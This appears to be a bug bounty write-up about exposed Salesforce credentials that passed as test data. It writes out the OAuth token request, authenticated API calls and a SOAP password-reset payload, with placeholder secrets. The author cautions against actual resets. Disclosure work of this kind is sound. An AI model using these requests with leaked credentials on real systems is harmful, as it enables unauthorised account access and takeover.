Turning a Closed Bug Report into $650: The Art of Demonstrating Impact!
Summary
I submitted a report where I found exposed Salesforce credentials in a directory that contained the word “test.” Unfortunately, the initial response from the bugbounty platform was that the folder structure suggested these were test credentials, and the report was closed with the following feedback:
”Reports containing credentials or API keys found on a webpage require a demonstrated impact. Credentials or API keys that are clearly denoted as being for testing with paths typically containing unit-test or test are excluded. If you can demonstrate impact, please submit a new finding.”
Given the response, I left it for a while and totally forgot about it. But then, after 5 months, the customer reached out:
This question prompted me to re-investigate the report. On my second look, something stood out:
Initial Discovery & Missed Follow-Up:
The initial folder structure where I found the credentials was something like:
/devteamtest/workspace/cloud-compliance/collection/
Sure, the “test” folder name made it seem like these credentials were for testing, which is why the platform closed the report. But once I started looking deeper, it became clear the credentials weren’t just for testing.
They worked in production environments, hitting Salesforce’s live API authentication endpoint, and this is a world where credential reuse is very common ;)
POST /services/oauth2/token HTTP/1.1
User-Agent: PostmanRuntime/7.41.2
Accept: */*
Cache-Control: no-cache
Host: login.salesforce.com
Accept-Encoding: gzip, deflate, br
Connection: keep-alive
Content-Type: multipart/form-data; boundary=--------------------------386046955710346829591755
Cookie: BrowserId=asdasdas-bNZ-asdasd; CookieConsentPolicy=0:0; LSKey-c$CookieConsentPolicy=0:0
Content-Length: 809
----------------------------386046955710346829591755
Content-Disposition: form-data; name="username"
info-asdasd@force.com
----------------------------386046955710346829591755
Content-Disposition: form-data; name="password"
aug_2021kTScdfghsdufhasudhuas
----------------------------386046955710346829591755
Content-Disposition: form-data; name="grant_type"
password
----------------------------386046955710346829591755
Content-Disposition: form-data; name="client_id"
sfhsuidhfashfkdsh.fdgdfhgkjdfs.dsghfsdgfukaehfk
----------------------------386046955710346829591755
Content-Disposition: form-data; name="client_secret"
FDUGSI7FGW4UFH8OSHGNSO4UWO4G9ES58YGSESGO84EWEGFRSUBG8RSEGHVDBF
----------------------------386046955710346829591755--
I received a 200 OK response, confirming the credentials worked. Here’s a snippet of the response I got:
HTTP/1.1 200 OK
Content-Type: application/json;charset=UTF-8
{
"access_token": "0000000000@afjhsdihkafgaskdhasdhaksffsdufhusdhc28",
"instance_url": "https://sdfsdfgsdg-dev-ed.my.salesforce.com",
"id": "https://login.salesforce.com/id/hfsdhfiasduhfuaishdf",
"token_type": "Bearer",
"signature": "ahsdfuosdh:+adfsdv@sfvbdfbgdfhdf="
}
At this point, I knew I was dealing with real credentials. The access token worked, giving me access to sensitive endpoints within the dev environment, which, as we know, can be connected to real production environments in many cases.
Revisiting the Issue:
When the customer asked for a recap of how I found this, I realized that although the repository had been taken down, the credentials were still valid even after 5 months, and could authenticate via the same API endpoint.
So I started listing down my comments, now with a working POC that has heightened impact
I highlighted this risk:
- Access Control Issue: Exposing real API credentials.
- Hardcoded Credentials: Developers might mistakenly reuse these in production environments.
Proof of Concept (PoC):
I tried accessing several endpoints using the access token retrieved.
Some notable requests that returned useful information included the following GET request to retrieve version data:
Request:
GET /services/data/ http 2.0
Host: asdasdassfadasda-dev-ed.my.salesforce.com
Authorization: Bearer 0000000000@afjhsdihfsdufhusdhc28
User-Agent: test/7.41.2
Accept: */*
Response:
json
{
"versions": [
{ "label": "Winter '15", "url": "/services/data/v31.0", "version": "31.0" },
{ "label": "Spring '15", "url": "/services/data/v32.0", "version": "32.0" },
{ "label": "Summer '16", "url": "/services/data/v37.0", "version": "37.0" }
]
}
Further, I discovered that I could still use the credentials even after the repo had been taken down. Some requests were met with responses like expired credentials, no permissions etc. but others worked, highlighting the persistence of the issue.
Outcome:
After showing impact by gathering environment details and crafting PoCs using valid credentials, I resubmitted the report and escalated the issue. The customer acknowledged the severity of the risk, and the program awarded me a $650 bounty, even though the finding had been initially closed and was out of scope.
This case was a unique case and a reminder of the importance of demonstrating impact even when things seem out-of-scope. Persistence paid off, and I learned that sometimes dev environment credentials can still lead to real-world issues — especially when they’re not properly isolated from production.
P.S.: A Word on Password Resets
While exploring potential exploits, I also noticed the possibility of password resets using exposed user IDs. However, attempting to change passwords is highly discouraged — not only does it violate ethical boundaries, but it can also lead to legal trouble or being banned from bug bounty platforms. Stick to reporting vulnerabilities the right way and avoid crossing the line.
In some cases, I received responses indicating that the password had expired:
HTTP/1.1 200 OK
Date: Sun, 07 Apr 2024 18:05:05 GMT
Content-Type: application/json;charset=UTF-8
{
"message": "Password expired. Please reset."
}
Out of curiosity, I crafted the following SOAP request with the help of some documentation and GPT:
<soapenv:Envelope xmlns:soapenv="http://schemas.xmlsoap.org/soap/envelope/" xmlns:urn="urn:enterprise.soap.sforce.com">
<soapenv:Header>
<urn:SessionHeader>
<urn:sessionId>0000000000@jhsdkjashjsahofhdPPy88f.afjhsdihfsdufhusdhc28</urn:sessionId>
</urn:SessionHeader>
</soapenv:Header>
<soapenv:Body>
<urn:resetPassword>
<urn:userId>005000000012345</urn:userId>
</urn:resetPassword>
</soapenv:Body>
</soapenv:Envelope>
Though this showed it might be possible to reset the password if conditions were right, it’s important to note that actually doing so crosses an ethical boundary.
A Word on Password Resets
While exploring vulnerabilities like this might be tempting, attempting to reset passwords or manipulate credentials is a step too far. It can result in platform bans or even legal action. Always demonstrate impact the right way, and avoid taking steps that could be seen as malicious.